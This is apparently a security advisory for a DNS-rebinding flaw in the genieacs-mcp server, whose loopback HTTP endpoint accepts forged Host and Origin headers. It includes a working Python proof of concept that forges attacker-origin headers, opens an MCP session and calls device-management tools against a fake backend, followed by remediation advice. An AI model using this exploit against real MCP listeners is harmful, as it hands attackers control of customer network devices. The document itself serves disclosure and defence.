CVE-2026-55637 — Vulnerability in github.com/geiserx/genieacs-mcp...

`genieacs-mcp` exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled `Host` and `Origin` headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret. The affected package is `genieacs-mcp` version `0.3.1` at commit `4d7d3c74740efb7f3833aadc8a8e9177650eb462`. The vulnerable transport setup is in `cmd/server/main.go`. When `TRANSPORT` is not `stdio`, the server creates a Streamable HTTP MCP handler: ```go // cmd/server/main.go:92 httpSrv := server.NewStreamableHTTPServer(s) addr := os.Getenv("MCP_LISTEN_ADDR") if addr == "" { addr = "127.0.0.1:8080" } authToken := os.Getenv("MCP_AUTH_TOKEN") if authToken == "" && !isLoopbackAddr(addr) { log.Fatal("MCP_AUTH_TOKEN is required when MCP_LISTEN_ADDR is not loopback") } if authToken != "" { mux := http.NewServeMux() mux.Handle("/mcp", bearerAuth(httpSrv, authToken)) log.Printf("GenieACS MCP bridge listening on %s (auth enabled)", addr) if err := http.ListenAndServe(addr, mux); err != nil { log.Fatalf("server error: %v", err) } } else { log.Printf("GenieACS MCP bridge listening on %s", addr) if err := httpSrv.Start(addr); err != nil { log.Fatalf("server error: %v", err) } } ``` For the default loopback listener, `MCP_AUTH_TOKEN` is not required. The unauthenticated branch calls `httpSrv.Start(addr)` directly. There is no middleware or MCP transport configuration that validates `Host` or `Origin` before `/mcp` handles the request. The README documents loopback HTTP as the default deployment mode and says `MCP_AUTH_TOKEN` is required only when `MCP_LISTEN_ADDR` is non-loopback: ```text TRANSPORT: empty = HTTP MCP_LISTEN_ADDR: 127.0.0.1:8080 MCP_AUTH_TOKEN: empty, required when MCP_LISTEN_ADDR is non-loopback ``` That leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled `Host` and `Origin` values. ## Proof of concept The following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend. Start a fake GenieACS NBI: ```bash python3 - <<'PY' from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import json import urllib.parse DEVICE_ID = "00236A-FAKE-CPE-PWNED" class Handler(BaseHTTPRequestHandler): def _json(self, value, status=200): data = json.dumps(value, indent=2).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def do_GET(self): print("FAKE_ACS_GET", self.path, dict(self.headers), flush=True) parsed = urllib.parse.urlparse(self.path) if parsed.path.rstrip("/") == "/devices": self._json([{ "_id": DEVICE_ID, "_tags": ["poc-owned"], "Device": { "DeviceInfo": { "SoftwareVersion": {"_value": "PLANTED-FAKE-FIRMWARE-9.9.9"}, "SerialNumber": {"_value": "PLUTO-FAKE-CPE-0001"} }, "ManagementServer": { "URL": {"_value": "https://acs-control.example.invalid/cwmp"} } } }]) return self._json({"error": "not found"}, 404) def log_message(self, fmt, *args): return ThreadingHTTPServer(("127.0.0.1", 18083), Handler).serve_forever() PY ``` In a second terminal, run the affected MCP server: ```bash git clone https://github.com/GeiserX/genieacs-mcp.git cd genieacs-mcp git checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462 GOCACHE=/tmp/genieacs_mcp_gocache \ GOPATH=/tmp/genieacs_mcp_gopath \ go build -o /tmp/genieacs-mcp ./cmd/server ACS_URL=http://127.0.0.1:18083 \ MCP_LISTEN_ADDR=127.0.0.1:8083 \ /tmp/genieacs-mcp ``` In a third terminal, send MCP requests with forged browser-origin headers: ```bash python3 - <<'PY' import http.client import json PORT = 8083 PROTO = "2024-11-05" ATTACKER_HOST = f"attacker.example:{PORT}" def parse_rpc(text): text = (text or "").strip() if text.startswith("{") or text.startswith("["): return [json.loads(text)] out = [] for line in text.splitlines(): line = line.strip() if line.startswith("data:"): data = line[5:].strip() if data and data != "[DONE]": out.append(json.loads(data)) return out sid = None def rpc(body): global sid headers = { "Host": ATTACKER_HOST, "Origin": "http://" + ATTACKER_HOST, "Content-Type": "application/json", "Accept": "application/json, text/event-stream", } if sid: headers["Mcp-Session-Id"] = sid headers["MCP-Protocol-Version"] = PROTO conn = http.client.HTTPConnection("127.0.0.1", PORT, timeout=10) conn.request("POST", "/mcp", json.dumps(body), headers) res = conn.getresponse() raw_headers = dict(res.getheaders()) if raw_headers.get("Mcp-Session-Id"): sid = raw_headers["Mcp-Session-Id"] text = res.read().decode("utf-8", "replace") conn.close() return res.status, parse_rpc(text), text init_status, init_msgs, init_raw = rpc({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": PROTO, "capabilities": {}, "clientInfo": {"name": "genieacs-rebind-check", "version": "1"} } }) notify_status, _, _ = rpc({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}) tools_status, tools_msgs, tools_raw = rpc({ "jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {} }) call_status, call_msgs, call_raw = rpc({ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "get_parameter", "arguments": { "device_id": "00236A-FAKE-CPE-PWNED", "parameter_path": "Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL" } } }) print("initialize_status", init_status) print("session_created", bool(sid)) print("initialized_notification_status", notify_status) print("tools_list_status", tools_status) print(tools_raw[:1200]) print("get_parameter_status", call_status) print(call_raw) PY ``` The MCP request uses attacker-controlled browser-origin headers and no `Authorization` header: ```http POST /mcp HTTP/1.1 Host: attacker.example:8083 Origin: http://attacker.example:8083 Content-Type: application/json Accept: application/json, text/event-stream {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"genieacs-rebind-check","version":"1"}}} ``` Observed output: ```text initialize_status 200 session_created True initialized_notification_status 202 tools_list_status 200 ``` `tools/list` returns 12 tools, including: ```text connection_request delete_task download_firmware get_parameter manage_preset manage_provision reboot_device refresh_parameter retry_task search_devices set_parameter tag_device ``` The `get_parameter` tool call reaches the fake GenieACS NBI and returns the planted marker: ```text Cached parameter values: [ { "_id": "00236A-FAKE-CPE-PWNED", "_tags": [ "poc-owned" ], "Device": { "DeviceInfo": { "SoftwareVersion": { "_value": "PLANTED-FAKE-FIRMWARE-9.9.9" }, "SerialNumber": { "_value": "PLUTO-FAKE-CPE-0001" } }, "ManagementServer": { "URL": { "_value": "https://acs-control.example.invalid/cwmp" } } } } ] ``` The fake GenieACS NBI also records the backend request from the MCP server: ```text FAKE_ACS_GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22_id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D ``` ## Impact A malicious website can control a victim's local `genieacs-mcp` HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured `ACS_URL`. In a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access. ## Why this is a vulnerability, not intended behavior - The project treats loopback HTTP as a safety boundary. The README documents `127.0.0.1:8080` as the default HTTP listen address and requires `MCP_AUTH_TOKEN` only for non-loopback listeners. - DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates `Host` and `Origin`. - PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener. - A local trusted MCP client is the intended caller. A public web page is not. ## Remediation Add Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as: ```text Host: 127.0.0.1:8080 Host: localhost:8080 Origin: http://127.0.0.1:8080 Origin: http://localhost:8080 ``` Reject unexpected `Host` or `Origin` values before MCP initialization. Treat absent or non-local `Origin` on browser-reachable requests as suspicious unless the request is authenticated. Also require a bearer token for HTTP transport even on loopback, or make `stdio` the default transport and require an explicit opt-in for unauthenticated loopback HTTP.